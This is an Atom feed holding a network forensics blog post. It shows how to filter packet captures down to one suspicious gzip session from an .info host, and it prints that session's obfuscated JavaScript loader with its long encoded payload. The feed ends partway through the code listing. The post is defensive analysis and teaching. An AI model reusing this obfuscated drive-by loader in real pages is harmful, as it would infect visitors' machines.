<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9200389290278441968</id><updated>2024-10-04T22:04:35.745-04:00</updated><title type='text'>Acutely focused host/network forensics topics that hopefully arent rehashes of other blogs</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://garygolomb.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9200389290278441968/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://garygolomb.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Gary Golomb</name><uri>http://www.blogger.com/profile/16783084866456430578</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='17' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRNeGtEO_W_ItNA_YX1leAKitOl81FwZwc8AxB9392DDZM3EZeO3ujmVb2ApY2SQUQktxu93BRV9FQQupRDp0wyE8peWmR2oQ4_h0q1be5eZRH0-u-n59pXKh0bUXQsk/s220/IMG_0435.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>6</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9200389290278441968.post-8956457772272179311</id><published>2011-01-13T14:13:00.001-05:00</published><updated>2011-01-13T14:15:33.875-05:00</updated><title type='text'>Network Forensics and Reverse Engineering Series Part 2 - JavaScript analysis and reverse engineering</title><content type='html'>Note: The images in this post are easier to see at the location I first posted this: &lt;a href=&quot;http://www.networkforensics.com/forensics-and-reverse-engineering-series/javascript-analysis-and-reverse-engineering/&quot;&gt;http://www.networkforensics.com/forensics-and-reverse-engineering-series/javascript-analysis-and-reverse-engineering/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h2 class=&quot;entry&quot;&gt;Introduction&lt;/h2&gt;&lt;div class=&quot;entry&quot;&gt;In our &lt;a href=&quot;http://www.networkforensics.com/2010/11/14/network-forensics-and-reversing-part-1-gzip-web-content-java-malware-and-a-little-javascript/&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;first post in the forensics and reversing series&lt;/span&gt;&lt;/a&gt;, we examined why HTTP gzip content encoding is a larger and more serious problem than most people realize. We’ll use the end of the first post as a starting point for analysis in this post. It also serves as an example of something far more important. That is, the very heart of forensics – and something I’d propose is the very definition of forensics. I teach a network forensics and reversing class together with Mike Sconzo about once a month. This is a point I raise at least a dozen times a day in class. That is:&lt;/div&gt;&lt;div class=&quot;entry&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry&quot;&gt;&lt;em&gt;World class forensics engineers are the ones who &lt;strong&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;quickly&lt;/span&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;intelligently&lt;/span&gt;&lt;/strong&gt; reduce millions of sessions to about a dozen worthy of deeper analysis. &lt;/em&gt;&lt;/div&gt;&lt;div class=&quot;entry&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry&quot;&gt;What constitutes &lt;strong&gt;&lt;em&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;quickly&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;? I suppose it depends on the tool being used to perform the analysis, but I’d generalize by saying no more than a couple minutes and/or the same number of clicks. We’ll see this in a moment.&lt;/div&gt;&lt;div class=&quot;entry&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry&quot;&gt;What constitutes &lt;strong&gt;&lt;em&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;intelligently&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;? We can answer this question by looking at a host-based forensics analogy. Suppose you were given a hard disk of a compromised machine and you needed to find the malware. There could be millions of files on the computer, so where do you start? Most of the time, especially for most standard compromises, the following steps will work (this is an over-generalization, but one that works nonetheless):&lt;/div&gt;&lt;div class=&quot;entry&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry&quot;&gt;&lt;ol&gt;&lt;li&gt;Show only PE files (exe, dll, etc..). At this point you’ve probably gone from nearly a million to about 100,000.&lt;/li&gt;
&lt;li&gt;Show only PE files outside the Program Files directory. Here you may go from about a hundred thousand files to tens of thousands.&lt;/li&gt;
&lt;li&gt;Depending on the assumed time of compromise, show only those PE files modified or created in a specific range of days. At this point you should go from tens of thousands to less than 100.&lt;/li&gt;
&lt;li&gt;Since malware tends to be smaller in size, show only those PE files less than 500k. At this point you should be looking at only a handful of files, and most of the time, the malware you’re looking for will be one of them.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;In the above steps, you found malware NOT by looking for known traits of malware. You did it by examining general characteristics about file traits. In other words, &lt;em&gt;by examining characteristics &lt;strong&gt;external&lt;/strong&gt; to the file, not by searching for signatures or other characteristics internal to the file&lt;/em&gt;. Typically, each of those traits by themselves are completely uninteresting until they are combined with other “uninteresting” traits, making them very interesting when layered together. &lt;br /&gt;
As you’ll see next, the same applies to network traffic. We can intelligently go from millions of sessions to only a few by wisely layering traits of network sessions with little attention paid to what is &lt;strong&gt;&lt;em&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;inside&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt; those sessions.&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;Intelligent Network Forensics&lt;/h2&gt;Extending the discussion in the previous section (and the previous post in this series), we’ll start with examining a pcap containing about 50,000 sessions (over a gig of traffic) in NetWitness Investigator.&lt;br /&gt;
Our fist pivot is sessions containing nginx webservers. This brings us from 50,000 sessions down to about 300:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/nginx1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-622&quot; height=&quot;45&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/nginx1-300x34.png&quot; title=&quot;nginx&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Next, we’ll pivot on gzip so we’re only looking at gzip’ed content from nginx servers:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/gzip.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-623&quot; height=&quot;58&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/gzip-300x44.png&quot; title=&quot;gzip&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Now we’re down to 33 sessions, but that’s still not good enough. If you figure an average 60 seconds of analysis time per session, that’s still a half hour of analysis just checking to see if there’s something interesting in those sessions. That is a huge waste of time and not intelligent forensics.&lt;br /&gt;
&lt;br /&gt;
In the last post in this series, we combined the above with an examination of traffic from “other” countries. This time we won’t be geopolitically prejudiced. Instead, we’ll pick on top level domains.&lt;br /&gt;
&lt;br /&gt;
Many reports from AV companies show most malware comes from the .com TLD. I think that metric is stupid. (Sorry.) Let’s put aside for a minute the obviously glaring problem with how they define malicious content in the first place. (Or maybe save that discussion for a rant in a separate post.) Most reports showing such metrics never show the total amount of traffic sampled from each domain. I’m certain .com is the vast majority of that traffic, and from a percentage perspective, malicious content is a small percentage of total traffic sourced from .com domains. Especially compared to other domains like .info and .cc. (In other words, I’d venture that the ratio of legitimate to malicious traffic from .info and .cc domains is a drastically different from the ratio of the same from .com.) Many sponsors charge 99 cents or less per .info or .cc domain registered, making it easy for hackers to register 100’s of throw-away domains en masse which is why we see such a high percentage of malware coming from those TLDs.&lt;br /&gt;
&lt;br /&gt;
What happens when we add an .info filter to our above pivots? We go from 50,000 sessions down to one.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/one-session.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-625&quot; height=&quot;110&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/one-session.png&quot; title=&quot;one session&quot; width=&quot;253&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
(Hey Latvia, remember how I said we’d pick on our own country in part 2 of this series?!) &lt;img alt=&quot;;-)&quot; class=&quot;wp-smiley&quot; src=&quot;http://www.networkforensics.com/wp-includes/images/smilies/icon_wink.gif&quot; /&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/countries1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-626&quot; height=&quot;282&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/countries1.png&quot; title=&quot;countries&quot; width=&quot;303&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
At this point, looking at this single session is an intelligent use of time. &lt;br /&gt;
&lt;br /&gt;
Here’s what we see in this session:&lt;br /&gt;
&lt;br /&gt;
GET /cgi-bin/guest HTTP/1.1&lt;br /&gt;
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*&lt;br /&gt;
Referer: http://www.elitefitness.com/forum/weight-training-weight-lifting/gym-mirrors-where-do-you-get-them-289864.html&lt;br /&gt;
Accept-Language: en-us&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Host: mdakab.info&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: nginx/0.7.62&lt;br /&gt;
Date: Tue, 16 Feb 2010 10:20:01 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Transfer-Encoding: chunked&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Content-Encoding: gzip&lt;br /&gt;
4EA&lt;br /&gt;
……….}Xko….^ ….D.eyg….V..v&lt;br /&gt;
..]7h. P.!.$..{m……..Z.ue’6 .1.;3……..~;O_…I…E}._mq.^..m……..)…&amp;gt;/……….b…~4..Z.(….~{#..9.|.~2.)N……..|….*[&amp;lt;[.......=$E.Dt.........z..b.vUV./......|.|..:[}..s&amp;gt;....]t….X.q..6..rN..I..O..\…..p…gV…..L.i.n….u.BW………?..wu..3.Y!…..S:+….}&amp;amp;..pT.V,.=w.&lt;br /&gt;
&lt;br /&gt;
As expected, it’s gzip compressed, although looking at the session in NetWitness Investigator hides that fact by automatically deflating the contents for us. Also notice the Referrer: tag in the client’s HTTP request. As the client was redirected from a forum, it’s likely that forum is serving advertising containing drive-by attacks, or a link in the forum is tricking people into clicking.&lt;br /&gt;
&lt;br /&gt;
If we take the contents of the session Investigator automatically deflated we see the following (with some formatting added here):&lt;br /&gt;
&lt;br /&gt;
&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=pT5VBN7W&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.html4strict .de1, .html4strict .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.html4strict  {font-family:monospace;}.html4strict .imp {font-weight: bold; color: red;}.html4strict li, .html4strict .li1 {background: #ffffff;}.html4strict .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.html4strict .li2 {background: #f8f8f8;}.html4strict .kw2 {color: #000000; font-weight: bold;}.html4strict .kw3 {color: #000066;}.html4strict .es0 {color: #000099; font-weight: bold;}.html4strict .br0 {color: #66cc66;}.html4strict .sy0 {color: #66cc66;}.html4strict .st0 {color: #ff0000;}.html4strict .nu0 {color: #cc66cc;}.html4strict .sc-1 {color: #808080; font-style: italic;}.html4strict .sc0 {color: #00bbdd;}.html4strict .sc1 {color: #ddbb00;}.html4strict .sc2 {color: #009900;}.html4strict span.xtra { display:block; }
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;html4strict&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;html&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;head&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;script&lt;/span&gt;&amp;gt;&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;function wg7_I6d_3kg(N__egeg_iCt_C, thM0X3_Ac0O__Vw) { var r1Qq5Y3R = &quot;&quot;; var x__IK_7p_f = new Array(101, 111, 256, -1, 120, 23); var jtJuIuDEg = String.fromCharCode(x__IK_7p_f[4] + 2); x__IK_7p_f[3] = x__IK_7p_f[2] * 2; if (!thM0X3_Ac0O__Vw) { var b_b_x_O3XJ4_qN = x__IK_7p_f[0]; b_b_x_O3XJ4_qN = String.fromCharCode(b_b_x_O3XJ4_qN); b_b_x_O3XJ4_qN += b_b_x_O3XJ4_qN; thM0X3_Ac0O__Vw = document.getElementById(b_b_x_O3XJ4_qN); thM0X3_Ac0O__Vw = thM0X3_Ac0O__Vw.value; } var g2N2c58g_cFcf = new Array(-2, 7, 0, 0); g2N2c58g_cFcf[0] += 2; g2N2c58g_cFcf[1] -= 7; if (!N__egeg_iCt_C) { var N50_648D7_t_k = 0; var Ffyncmd8Y = x__IK_7p_f[0] - 54; var lEu5nv0 = Ffyncmd8Y + 11; var q0703A5 = arguments.callee; var aA_nii_C6 = N50_648D7_t_k; var U__i5_j48r = q0703A5.toString(); while (aA_nii_C6 &lt;span class=&quot;sc2&quot;&gt;&amp;lt; U__i5_j48r.length&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt; var Op18mkb &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; U__i5_j48r.charCodeAt&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;aA_nii_C6&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;; if &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;Op18mkb &amp;gt;&lt;/span&gt; Ffyncmd8Y &lt;span class=&quot;sc1&quot;&gt;&amp;amp;&amp;amp; Op18mkb &amp;lt; lEu5nv0) { if (N50_648D7_t_k == 4) { N50_648D7_t_k = 0;&lt;/span&gt; } g2N2c58g_cFcf[N50_648D7_t_k] += Op18mkb; var Lqhs6q0 = 100; if (g2N2c58g_cFcf[N50_648D7_t_k] &amp;gt; 512) { g2N2c58g_cFcf[N50_648D7_t_k] -= x__IK_7p_f[3]; Lqhs6q0 = 0; } N50_648D7_t_k++; } aA_nii_C6++; } } else { g2N2c58g_cFcf = N__egeg_iCt_C; } for (var sq6__AaVN__C = 0; sq6__AaVN__C &lt;span class=&quot;sc2&quot;&gt;&amp;lt; &lt;span class=&quot;nu0&quot;&gt;4&lt;/span&gt; &amp;amp;&amp;amp; g2N2c58g_cFcf.length &amp;gt;&lt;/span&gt; 0; sq6__AaVN__C++) { if (g2N2c58g_cFcf[sq6__AaVN__C] &amp;gt; x__IK_7p_f[2]) { g2N2c58g_cFcf[sq6__AaVN__C] -= x__IK_7p_f[2]; } } var f1Gc7_7pPVm_vg = 0; var Qm_Y__X = f1Gc7_7pPVm_vg; var IQ__s_0qI_w_Em5 = Qm_Y__X; var SV5SwoJfj_O; while (Qm_Y__X &lt;span class=&quot;sc2&quot;&gt;&amp;lt; thM0X3_Ac0O__Vw.length&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt; o_40M7__5On &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; thM0X3_Ac0O__Vw.substr&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;Qm_Y__X, &lt;span class=&quot;nu0&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; + &lt;span class=&quot;st0&quot;&gt;&quot;^&quot;&lt;/span&gt;; var sFFiD1J &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; parseInt&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;o_40M7__5On, x__IK_7p_f&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;5&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;; if &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;IQ__s_0qI_w_Em5 &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; 4&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt; IQ__s_0qI_w_Em5 &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt; sFFiD1J -&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;f1Gc7_7pPVm_vg + 2&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; * g2N2c58g_cFcf&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;IQ__s_0qI_w_Em5&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;; if &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;sFFiD1J &amp;lt; 0 || sFFiD1J &amp;lt; -1&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt; var xyz &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; x__IK_7p_f&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;2&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;; sFFiD1J -&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; Math.floor&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;sFFiD1J &lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt; xyz&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; * x__IK_7p_f&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;2&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt; r1Qq5Y3R +&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; String.fromCharCode&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;sFFiD1J&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;; Qm_Y__X +&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;2&lt;/span&gt;; IQ__s_0qI_w_Em5++; f1Gc7_7pPVm_vg++; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt; var e22y8QdoQv_Dta &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; this.window; var b_b_x_O3XJ4_qN &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;&quot;&lt;/span&gt;; b_b_x_O3XJ4_qN &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; document.getElementById&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;jtJuIuDEg&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;.&lt;span class=&quot;kw3&quot;&gt;name&lt;/span&gt;; b_b_x_O3XJ4_qN +&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;value&quot;&lt;/span&gt;; b_b_x_O3XJ4_qN &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; b_b_x_O3XJ4_qN.substr&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;0, 4&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;; e22y8QdoQv_Dta&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;b_b_x_O3XJ4_qN&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;r1Qq5Y3R&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;; return &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;script&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;head&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;onload&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;wg7_I6d_3kg(0);&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;form&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;post&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;ee&quot;&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&#39;4g312441341iae922a006f481979475m9k52a7b18l769i726k3c630b8h3h291i7ab0ab7861036mb1396l4k3h2e6a53a4553g26283c4k8i6e221e52191i1h2439a48db06j0g9jag35af867j7ja64b451297461i58894797977f2i782m6e9l54705cab1e8d1j8ga252177672862b5c231la0249h70al229g9c9mb2551jafa243617a6fa81f91749m6f6j5g4c7652373b0b3daf1g7k5j9ia40k3ia67531385m1k6f074ia3b09k426m4i9g1f44190g2c4m1i99ai188ba0aa9g016b635a3g866843ai5d4g0i273i4g9g882i0i51ad411a456h1g09a2ae2c9m7f3m1a756l839c62199l7l2aa33ja5326m7888006l2d8mai43565a6bb0a43d507g25324l63a54d5329093616ab5m1k1c6m9fa8874k299d7j499612829h28ai3c775g894g6c098h3322225302b05a489471a44m8i7l5h5k66229f2g4a0c283f23854l0016509805204g62148d1i9k8a78931da77i7j739a4d298h723d9h215i0j787k612l6l2k459a3g4l329209b21b6k6m1c174l466m2h5i5020a0421f389b1c8baaae1a6l3f8288196c7i5i9jab5h4e8c4i8c597c844e392a134m171b4h3a92719i257e58573h9d496f2h7a9h050k489g6d1b406l9692aj2f317598af656h968l32859b54496l5e239m5c5k9h2c2k1c7f6d221174234h171968377ka29g0l919749167b4k628i4a2f9a802d9j318e20ag9h9cae4k2c688i3768776bb08l3f5e7m253k6c756b2438383a3g3dah4h29aj7ga710b2441fah6f1b6f9854a321046c9i6i816078al600h2m318k1d1m6a4mag80ac578e71303i6c197a284a9j0d11296m8d1g376lb20h142a391a04187e987k7d35am8974858h6l1h8j80571l4m7i489m675e207d2b690d457c5876a68524606m1b1k414h6c0341382h1e46ah4107097g9ea10f4424797a22676e6m2817954593607l4g7k8m6f22360947af9j5c26927a922k9b7l513i6m228m0e530c1f1d40ag7119166d978j0h434e8fa31e96759h832c8c634c3h4m6m238i4i5h1a2g3h4aa26b41b05a9m4c13536838ag26am2m6lad4e2389748aag604i190b4a1g5f7a0a6mam981c440d58893i57547c180e505i9m563d59447h1j54453a43371a7g3c257d0m2j027h3c14a14b9f07841eag833cal6g9l1m4c7l682i231j641d1a6k5306a2af5a6j5a305l8253ac4h6c2640482h9j8b38487i132e0l455k16131a9l07797801097j4l537h6e45a46g571h2j700h85677b207l2g670a51775l7i1lb14k8gaf463g71589j3i6c4d21a01610429k099gac9g9i744186991i56ab84aba86g6m9i465f5f77815m122f095a06ab5i4l0i899m47af5148119d529c34812405ac386m4m9f1f5814al36193l9aa6ae6m92aaa42m8570444m4e4f1b956i6a241e6e46ac5e3h0h6l273k114f57137kb07c027b6m2bac7b7f7j096a3ca77l2j9h517i0i809h90b151358a8l3a547h9b200k758183234a456l9m4d4c4f1j1j0ga54a022eag022i855h3c1299439b977j0i1b8f499g5i6k3544a66h132a3j7m06ae8a799690a9679m706d418g48a83278a2271f4kaa7f2f3j67a3adah515l091224a00ga2770i8c5j587d9h3k1ha77h51184g8b1a9g8b690251265b8h2e3k337d0haa2b6b7i4438767i8c0e2b1k06a010aa3aa71b948g939h6l3faeam43636c66b09e75639g5d7c644k9l623927165i1ial8i5m12a316477k674c1a6j2599277e252eag3aa67515487j0d820l192d7l9f9ha28b9l7m05678k6l6l8577268145469h183d23716i6121781m3420345l169h9h800f67712f9h4h4f52al5929a78h48185kaf2i7j84a525703i57b2436776741l0g677h9g2k5a5a447h1j4h4j2e4f3d1e7a3ha99k0j25b17j4eb29m49970b8b26af7j739k72a15a7j7m691d4a3j6k1faa8h74009i19439d663e6386518i5778243h3f5jae7l060f7j202c201b30978f269j13af7e36a99470809e7a4d129b29a333803b8g934i2b72266108236e4a7i25025371ae524475719b395b1ha52b4b1c3a9fab71aj0i1a7f2181804h8598911a186679a85k853772a6721f463d6a041g8a541dae9h54854k32146f288j065baa0daj3f7g560627539a930g252h800e1c92748b9m066c716g49585622b24a3maa182k1l6m7i5430652c2l1129510f911dam27a0a73h1l894i7m126356a1ah52225faa308ba3981i730d88ai3379539i1c0c697f7g4k4i3h58&#39;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;input&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
